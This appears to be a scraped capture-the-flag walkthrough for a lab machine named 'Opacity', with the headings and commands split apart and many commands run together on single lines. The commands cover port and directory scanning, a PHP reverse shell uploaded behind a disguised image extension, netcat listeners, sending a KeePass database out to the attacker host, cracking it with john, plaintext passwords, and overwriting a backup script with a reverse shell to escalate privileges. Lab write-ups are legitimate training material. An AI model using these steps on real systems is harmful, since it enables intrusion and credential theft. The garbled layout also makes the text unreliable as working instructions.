Opacity
Initial Scan
nmap -A $VICTIM
Scan all ports
TCP/80 - HTTP


Initial Shell




Transfer file

Crack KeePass


TCP/22 - SSH

PSPY



Last updated
nmap -A $VICTIM













Last updated
nmap -sV -sT -O -p 1-65535 $VICTIMgobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txtgit clone https://github.com/pentestmonkey/php-reverse-shell.git
cp php-reverse-shell/php-reverse-shell.php .
subl php-reverse-shell.php python2 -m SimpleHTTPServer 81nc -lvnp 1337http://$KALI:81/php-reverse-shell.php#.jpgpython3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fgnc -l -p 1234 > dataset.kdbxnc -w 3 $KALI 1234 < dataset.kdbx/opt/john/keepass2john dataset.kdbx > johnkeepass.txt
john --wordlist=/usr/share/wordlists/rockyou.txt johnkeepass.txt keepassx dataset.kdbx
Password: 741852963ssh sysadmin@$VICTIM
Password: Cl0udP4ss40p4city#8700wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32
python2 -m SimpleHTTPServer 81wget http://$KALI:81/pspy32
chmod +x pspy32
./pspy32wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32
python2 -m SimpleHTTPServer 81rm -f backup.inc.php
wget http://10.10.215.36:81/php-reverse-shell.php
cp php-reverse-shell.php backup.inc.phpnc -lvnp 1337